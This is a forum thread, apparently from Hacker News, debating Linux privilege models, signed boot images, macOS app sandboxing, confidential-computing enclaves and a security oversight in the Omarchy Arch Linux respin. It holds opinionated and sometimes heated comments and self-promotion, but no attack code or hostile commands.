Yeah, that's what I meant with additional files sourced by the shell. I knew about .profile, but I am not sure that's all of it. I think different distros may be set up differently in this regard. Also I am pretty sure, you can define function overwrites/aliases and execute code in any file getting sourced, it's not just LD_PRELOAD attacks.
> 1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer?
If they use an official one published by their distro, then it is likely sufficient that it is signed by a key in a multi-party-controlled remotely attestable secure enclave controlled by the distro team, which only does so in exchange for multiple signatures from independently controlled secure enclaves that produce deterministic artifacts. The key could be backed up and restored across enclave updates using shamir secret sharing so no single engineer gets the key but they can cooperate to provide it to an enclave.
Of course this scheme to avoid trust in any single human or machine in the linux distribution supply chain only works if you happen to have a deterministic full source bootstrapped linux distribution that has strong multi-party security controls (like stagex, my "personal project", protecting hundreds of billions of dollars in fintech infrastructure right now)
> 2) How does one instruct the user's computer to use that newly-rebuilt root partition? How does one control access to the system that permits one to load a new root partition and/or change which root partition to use?
If the high trust supply chain signed UKI builds are a thing, per question one, then life gets easy here.
On first install a user would be forced to enable secure boot enrolling the linux distro signing keys, and the installer would encrypt their hard drive to that secure boot state via TPM PCRs.
Now, even though the user-accessible portion of the OS is entirely unprivileged, the user can be trusted to download new signed UKI images and place them in an update search path. Now on reboot the update will be seen, verified newer, and could be kexeced to. If it boots successfully past the uki image, a hook will cause it to move the old image to a backup file and replace with the new one, then reboot properly. Secure boot sigs pass, image is newer than old image, TPM policies pass, and disk can be decrypted. All automated.
> 3) How does a user recover when an update fails or is faulty in a way that your smoke tests didn't catch?
If the kexec test fails to boot to the hook and drops a crashlog, then the original still-unmodified UKI image stays in place, will see the crashlog, and then boot normally and warn the user about the failed update and offer to submit an Issue.
None of this is novel, though knowledge of it seems sadly rare. All can be done right now with existing FOSS, and many embedded Linux devices and servers use patterns like these. Especially in high security environments like fintech. Just configuration, admittedly a lot of it, which is what I am packaging and simplifying right now in stagex so it can be an opinionated default.
A related "Personal project": https://distrust.co/blog/enclaveos.html
I did. There's at least one huge hole that the system -as described- seems to not account for:
> If they use an official [root partition] published by their distro, then it is likely sufficient that it is signed by a key in a multi-party-controlled ... enclave[.] Now, even though the user-accessible portion of the OS is entirely unprivileged, the user can be trusted to download new signed UKI images [from their upstream provider] ...
Distros often fail to preinstall all the software a user of a general-purpose computer needs. How does the user of this system add new system software to be used by every user of the system, rather than just the user who installed it? Suppose that the user wants to swap out the upstream-provided syslog daemon with rsyslog, or the user wants to install ghostscript for use by every user on the system... how is that done?
If the answer is something like "The user builds their own root image and signs it with keys that they manage, and then loads it into an update server that they control so their computer can automatically update to it.", then that's equivalent to using sudo with a ton of extra steps. If the answer is either "They use access control and elevation systems that means they're effectively root to augment the software load on the read-only '/'." or "Don't be daft, there's a single user on the system." well...
What mike_hearn said to you is also quite relevant:
> ...if all the apps that matter are installed to ~/.local then you're just removing the need to obtain root at all for most attacker priorities.
EDIT: There's another way a user can get new usable-by-all-users software on their root image: "Ask their upstream provider to add the software the user wants to the image and hope that they both accept the request and process it in a timely manner."... just like was done back in the days of glass teletypes, thin clients, and netbooted PCs. My recollection of (and participation in) a relevant slice of history might be why you think that I didn't "process" what you wrote. All that the system you describe seems to add is boot image signing... and I'm certain that ultra-paranoid sites have been doing that sort of thing for ages.
Someone even thinking it is reasonable to try to use a mac to manage production would be grounds for me to ensure they never have production access.
Also, QubesOS is a thing, therefore QubesOS Linux users have way way better access to sandboxing than MacOS -and- signed devtools packages.
> Someone even thinking it is reasonable to try to use a mac to manage production would be grounds for me to ensure they never have production access.
It should be the other way around. I'd be extremely careful before allowing anyone to manage prod from anything other than a Mac. Apple has an OS design that can be solve many serious supply chain and credential stealing attacks. SREs don't maximally exploit it today, and Apple only focuses on consumer use cases so they aren't going to use it to solve server management problems. I think there's a business opportunity in fixing that. But Apple has put in place all the infrastructure you need, whereas the Linux community simply hasn't.
Unfortunately one I have never seen a MacOS production engineering guide that does not say "install brew" as like step one, exactly because Apple failed to provide a software suite sufficient to meet developer needs on par with that of major linux distributions. Macports is at least maintained by current/former apple employees and signs their packages, but in practice no one knows macports exists.
> I'd be extremely careful before allowing anyone to manage prod from anything other than a Mac.
I would never even consider letting anyone near production Linux servers if they are not comfortable enough to maintain and secure Linux on the computer in front of them.
> I think there's a business opportunity in fixing that.
Me too! I am in the current YC batch for exactly that reason with https://caution.co , built with https://stagex.tools.
How is that different from creating a new user to run that script? This has been the standard practice on Linux for decades, and it is how I run tools like Codex and Claude on my machine. I wouldn't allow AI tools access to files, mount points, etc, owned by my main user.
This works best for terminal apps; for GUI apps such as Steam and games where running a separate graphical session isn't practical, you can use bubblewrap.
I don't actually believe that macOS protects me here, as I granted this permission to the terminal five years ago...
If you say no, you can’t use less or cat to read your documents. If you say yes then you are completely unprotected, forever, from anything you might run from the terminal.
> It also needs pervasive kernel enforced app identity
Doing like MacOS needs app identity. But this model is just wrong, because it answers the wrong question. Determining, once, whether Microsoft Word or VSCode may access all your documents, means that any Word document, using valid scripting or an exploit against Word, may access all your documents, and it means that you are fully exposed to anything you look at in vscode (as vscode has almost no security).
The right questions would be: May this document access this file or folder? May this project access anything outside its own folder? May this Python script read your screen? May this AI agent session access this USB device? Kernel-managed app identity is completely unhelpful for any of this.
(Frankly, kernel managed app identity seems unnecessary for most of what Mac does, too. App identity could be set by whatever launches the app, so long as the app’s resulting privileges are not allowed to exceed those of the launcher.)
> And it will suffer from a high degree of centralization where distributors have to approve every app
Please elaborate.
Sure, if you actually think that an Apple-like entitlement system protects you well, then I guess that a non-Apple entitlement system would need some trusted authority to grant entitlements. I do not think it protects anyone very well even if Apple, as the entitlement granter, is considered fully trustworthy.
The only thing you cannot do as an unprivileged user is update kernels, but that requires a reboot anyway and the risk of letting an unprivileged user do that is mitigated with hardware enforced secure boot.
Most distros are holding onto 90s designs that are very hard to change once established.
I do have non sudoers groups devices and I also have shared devices with non sudoers users. It works. It's not necessarily for everyone, e.g. not for powerusers who want to go fast very often, but it's definitely usable for most users still.
Linux root/regular-user model comes from an ancient time with multi-user architecture where you defended against one user taking over a big machine they didn't own.
But today on personal computers all the good stuff is inside regular users accounts, and there is nothing valuable to be gained by becoming root.
So the whole security model is broken, it protects the OS system files that nobody cares about, while allowing any piece of software complete access to valuable user files.
If someone pwns your personal browser they should pop out into an environment where nothing exists but that browser, with no idea the work browser is in a sibling vm.
Basically the reason we "need sudo access" (or anything to elevate privs to root) is because how the system is architected and changing that is mostly only possible on new distros which can decide to change the architecture.
I am a fedora/opensuse user and happily use podman with selinux.
macOS doesn't determine once whether Word can read all your documents. That's the sort of policy that applies to non-native Mac apps. Word is a native Mac app built according to Apple's design specs. Like the rest of the Office suite it opts into the stronger "app sandbox" feature macOS offers. That means:
1. It can only read files that the user granted specific access to by opening them with the system file picker. This grant is persistent across app restarts, upgrades and file moves, but is fine grained.
2. Its own files are protected against tampering from other apps. That means not just the app's binaries (which are protected in all cases regardless of app opt in), but also its own data files stored in $HOME too, like download caches. Obviously its address space is fully protected from debugging APIs too.
So if Word is compromised by a macro virus or buffer overflow, or whatever, that code is very constrained. It can't steal your SSH keys. It can't tamper with your ~/.bashrc. It can't tamper with your operating system, or escalate to root, or phish any credentials from you. Despite that, Word has all the functionality users expect.
Additionally, if you download and run malware, that malware can't edit the configuration of Word to inject macros, and if you store files in Word's protected area they can't even read those files.
MacOS only falls back to coarse grained permissions for looking at certain sub-folders of $HOME when apps bypass the native Cocoa APIs, e.g. by using open() and readdir() directly. This usually means some dev tool or script that was written with Linux in mind.
All this is possible because the kernel has very sophisticated support for app identity and security. It's exactly what you're asking for, and what Linux has failed to provide. You can open a file in Word thus granting Word access to it without even realizing you're doing it, then upgrade or downgrade Word without it losing access, move those files around, move Word around, download a beta version from some internal MS server and have two versions installed at once, etc. It's all possible because of sophisticated kernel level support working in close tandem with a lot of userspace infrastructure which is missing on Linux.
Re: entitlements. Apple's system allows entitlements to be self-declared, or granted by Apple, or both, or granted by non-Apple authorities if the OS is so configured (this latter fact is documented but obscure). MDM, app stores and anti-malware systems exploit entitlements aggressively to understand what apps can do. Their system allows a pretty complex ecosystem to develop where users can delegate trust as much or as little as they like.
Unfortunately it's a difficult space to work in. SGX tries to remove the kernel and hardware from the TCB but there are a lot of obscure attacks to do with tampering with the enclave's sense of time. It's not an SGX problem, it's inherent to enclaves not having enough trusted hardware like signed clocks, tamper-resistant counters and so on.
Also the programming model has to be adapted but most customers just want a button to click for a box to tick, then they can say they're protected. Very few want to change their app architecture to be more secure.
Homebrew is far from ideal, indeed, but MacOS was never really marketed as an OS for people to manage remote server clusters. If you stick within their designed ecosystem and only do software dev for native Apple desktop/mobile apps using XCode, then you don't need homebrew.
Those things all exist now in several forms. You were just too early! (I know the feeling from past companies). SGX is a giant pile of design flaws I abandoned pretty early, but _TDX_ is what SGX should have been, and AMD sev-snp is wildly ahead allowing hardware memory encryption between different nested protection rings.
Back before these nice things, I co-designed custom hardware security modules, which was my "do things that dont scale" period.
> Also the programming model has to be adapted but most customers just want a button to click for a box to tick, then they can say they're protected. Very few want to change their app architecture to be more secure.
None of that is required anymore. With our design it is no harder than using Heroku. Bring the code you already wrote. Enclaves run hardened Linux kernels. If it can run in a container it can run on Caution.
> Homebrew is far from ideal, indeed, but MacOS was never really marketed as an OS for people to manage remote server clusters.
And if people on macs stuck to media work, we would have no issues. My rage comes from most sysadmins in silicon valley using homebrew/macos to ssh to production machines full of user data, and sometimes with billions of dollars in value attached. That is when I go into BOFH mode and start revoking access credentials.
Absolutely agreed that downgrade attacks are a real problem, though TPMs can easily mitigate this by using their monotonic counter functions.
Still, secure time is useful for many things. There are a lot of network protocol approaches to secure time, but for applications where it really matters where you cannot trust GPS, atomic clock PCI cards are in the low thousands of dollars now.
And neither Microsoft nor Python has a credible security model.
If only Podman could beat Docker in advertising…
So I think it's a little different. Anybody using an opinionated respin should understand what they're getting.
It’s strange that so many people are trying to call this security error intentional.
So there's nothing weird. It being on originally was intentional and not crazy. Only it going all they way wasn't.
Then they don't actually want to use Arch Linux.
The Arch Linux way is to read the excellent wiki documentation, learn about all the choices available, and then make all of those choices so the system is configured the user's way instead of some celebrity's way.
You say the whole point is ending up with a system configured the user's way instead of some celebrity's way, and then you go on to tell us what we are actually allowed to want. That's a bit rich.
Starting from someone else's config and then changing whatever annoys you is making the choice, it just skips the part where you spend a weekend reading about display managers to arrive at the same place. That is what dotfiles have been for since roughly forever.
By your standard, anyone who used archinstall from the official ISO isn't really using Arch either, and I suppose the truly enlightened path is Linux From Scratch, compiled this morning, on hardware you soldered yourself.
No, they want to use Arch Linux as configured by DHH
Like, I get it if thats the case. Say, if Chris Lattner or Andrej Karpathy rolled some ML GPU programming distro I'd probably care about it and try and see if it made me more productive.
There's a sort of cult of personality around him at this point. His acolytes follow him for his nativist views, and then adopt his technology unthinkingly.
I don't know why my comment was downvoted above. This isn't a serious distribution and you shouldn't expect it to be. It's a vanity project of a niche alt right tech bro, and this is the level of rigor you should expect.
The Omarchy team immediately fixed this because it was a security oversight, not an intentional opinionated choice.
They "immediately fixed it" after it blew up on X/Twitter. Just like all the other issues they've had in the past few weeks.
And now they formed a "security team" lol.
I recently used Arch Linux because I have a 4 GiB Mac Air that I want to use for something but it has too little RAM for UI. The installer was user friendly and fast. I got exactly what I wanted.
I don't think that I need Omarchy.
I have only one answer to this:
I'm too old for this shit.
They didn't forget. They never knew it was there. https://news.ycombinator.com/item?id=49502099
Overly active analytics / tracing stuff is not uncommon during dev. Likely they just did it to be able to debug things better in the weirdest cases; doing a full session replay basically when you have the whole original state of the repo
I can, and I do.
https://wiki.archlinux.org/title/Arch_Linux#User_centrality
> It is targeted at the proficient GNU/Linux user, or anyone with a do-it-yourself attitude who is willing to read the documentation, and solve their own problems.
Still, having a gitlab runner with a docker in docker setup that can access the host docker socket is not something you do lighty, so I am eyeballing buildah etc.
I guess what really grinds my gears is that I'd use podman a looooot more if it could nicely coexist with Docker. I'd use Docker for the big services and podman for all my own stuff. But that is just not possible (at least not afaik), so it is also difficult to switch step by step (yes VMs, bla bla, but it's all complicating).
AI as a core part of the OS that can just change or add anything you want. Linux is great for this because it has access to the source code for everything.
He said he didnt review the code line by line, just looked at the shape of it. Whatever that means.
> He said he didnt review the code line by line, just looked at the shape of it. Whatever that means.
Did... did you even read my comment before replying to it? We know it's vibe-coded, we know it's bash scripts, and we know what it means